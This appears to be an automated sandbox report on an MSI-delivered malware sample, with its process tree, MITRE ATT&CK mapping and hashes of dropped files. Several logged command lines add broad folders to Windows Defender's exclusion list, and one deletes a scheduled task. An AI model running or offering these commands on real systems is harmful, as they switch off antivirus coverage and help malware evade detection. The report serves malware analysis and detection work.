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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3356
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4496
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1116
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2220
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4844
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2240
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e585129.rbs
- Size 7KB
- SHA256 7da384d2b314305e395a9f1f3f74a17b98de85699ea0bf2a782bf4a7d78a9f82
- MD5 5c6c5e6c05cc21be097bbd6d7936a049
- SHA1 e1d2f42949afae54ed6082ca4ecc396c8367a49a
- SHA512 b67047bdd7d811d185a67f6a4ee28392970df6d2d2d9959d708fdd8b0109464df05d4db8430ba288b8f2a7320ed048757ddcec4d3914042e2e4f9960271930ec
- SSDEEP 96:3xuu1eSd/gaaUUF8g1CsThq/UF8g1C6j4/xpThqjHqS56TWt8df2CKpljyzIjByy:3ZeSdYJzvIIVvI36AnKph
- TLSH T148F13001B31196D2F9911B75CB831B1A37F2D3DAA320735B089E80685F573882ED57AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\6MkdIQ\3C5b1b.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\6MkdIQ\UxEnhance64.dll
- Size 3.1MB
- SHA256 49a0be758f4febe4e62415678800bb55648f1bb162fee4b7ec7257e9beb56538
- MD5 3b91a8739941ae640ab098b2d287467d
- SHA1 3cc89df70929bb3df6ee8f8fbce9f940f9b03f88
- SHA512 513869b5442ef44f8d1cc6130ee4c77538da1b11aa4eb908a9cc52cb996705a8316e724a317f7d3c884a3fda013bb4439185f206a43c994c6cfa487931b56c90
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+u:P9m29xx3Tiqt06ox6+z2rNNrKou
- TLSH T128E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\6MkdIQ\adoresd.dat
- Size 4.7MB
- SHA256 b6fd6455f20b94c7e343705e1e927439204d8d24432001022a9e445d26b8377d
- MD5 a1b19c4226f46229be38fadff7ca3d27
- SHA1 f6ca31d63db4238e142f7d00c1f9e7ac56407c3e
- SHA512 108c0355d957085ebc8413a350ad2ef971686231976ff241caaed9c0acb787fd63ace2ac5ae9a6e1e041c5b2086b2fd83f5e1509906beabd2131611a7eb60967
- SSDEEP 98304:1mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Au1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1443633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\6MkdIQ\msadox.tb
- Size 8KB
- SHA256 92dd298d8812d3d99daf5709e5ad051d5868013bf04c9e70d90495db40b8f3f2
- MD5 ecca6257deaa3188f1c4497d8602057f
- SHA1 51f754fc6ac478e1ba4d6f312e48e537e0beee95
- SHA512 9025d99695be74780541de3a868cd5e613c3c12baab2eec9570294db2d16aecde431c8c2fc3a16ab48fa70f000730efdd45521190adc2646c6e28c09176b7a18
- SSDEEP 192:sqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ssZqZOXQ3uqvR2Kfzp
- TLSH T14C029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI52C0.tmp
- Size 8.3MB
- SHA256 6ee02bb23f96f1ab03d0a12127e146ed82a5456188be95e1b2b4f33b3a4fe89d
- MD5 3afa23bd276d8a395f37e8e528911428
- SHA1 79ed337d3d30f29c26035b3138a8733ea928070a
- SHA512 57c4ab335e0c1e9239e3f427619c824c29ce43b98503fcc532b3fb1edb4a47f4a76872a8a55a84daea0f4093123810098718c2192fae8945d882fc9da1c0d561
- SSDEEP 196608:meYoEK3ZuNoZ1fpYyHz158sp0MP5oRcta+t5amBosTCV4mzNVH7Vq:vEmuNET15pptSmBZCVxHBq
- TLSH T1099633C53C876731C0DFC7B2D9A3294EB09A37C4BD764D0AB9E42E186E3631A54B0B95
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e585128.msi
- Size 8.4MB
- SHA256 ab061d0290ae0cdeccfaab45cd4ed50cca20aab18d78f6994ebe1879d5d46f05
- MD5 eae703012ed9f007f492e455eb780e2d
- SHA1 f30cc47d7e2dca32d16c5acc71cd38ba82738aea
- SHA512 0c39942e6a035c8ee1c003ce3c3dd358918e2156d93922a7d1d2a6d722df7c97c45fa84fca5337d9912ac6d540c3a5b8c068152d1e5b81787ed6bd3c64f66772
- SSDEEP 196608:teYoEK3ZuNoZ1fpYyHz158sp0MP5eRcta+t5amBosTCV4mzNVf7VE:sEmuNET15p3tSmBZCVxHpE
- TLSH T1B99633C53CC76732C0DBC7B2D9A3294DB0993FC4BE768D0AB5A43A186E3532654B0B95
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 a092b0b8be49b873dffd37d26c3b2ff0347f2c97d5b77eac3589932cf52d9ac3
- MD5 a258ccbde9d7e82dfda55824c0132179
- SHA1 0009b0c618fbcc1689d00c17b401db257550a9be
- SHA512 ecef2dc7c0b047bdb5157ac91b2545663a1e5defc08b2a21907741d302d369cdf0f075982408f5df49368653016d429acca9d4d815ed390b034c5e3d33e4e64d
- SSDEEP 24576:ou8m+1zEdoO/vvTLLWceJma49F0zEVsCwqmteTtlUU6tOrFhov1Fk63Rp:n
- TLSH T19947C22836F92200F7F79E3D68F46A274D3A7D5B9C159E8D05811B4E0921FB0E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{cd0aa2ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{56914dbe-80f5-496c-86f0-fe9db5210d48}_OnDiskSnapshotProp
- Size 6KB
- SHA256 53175654aa6c716e8d1e1f6d76d4a1a74f12672fc4997ebde19423399bb6caa3
- MD5 7d9a3b564895e2b4aeb26a16264505e6
- SHA1 a6ad91fdbad47023616e562b917094535246b348
- SHA512 dff4eccf3cbb2283bfdec3c86fb338bc9a1fd934fa77c10aa0023af4a743e0f3fa38f0ee183e8152c8a64a5fda56b438a4ceb79e76d31bad1c9bbae38160b87d
- SSDEEP 96:FK2D6cZsnvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:xDgb++ZVm
- TLSH T135D1A90C4AE54711E2B3AB3229F54557A877B811EF33CB8E0298238E6670A10F935F5F
- MD5 SHA1 SHA512 SSDEEP TLSH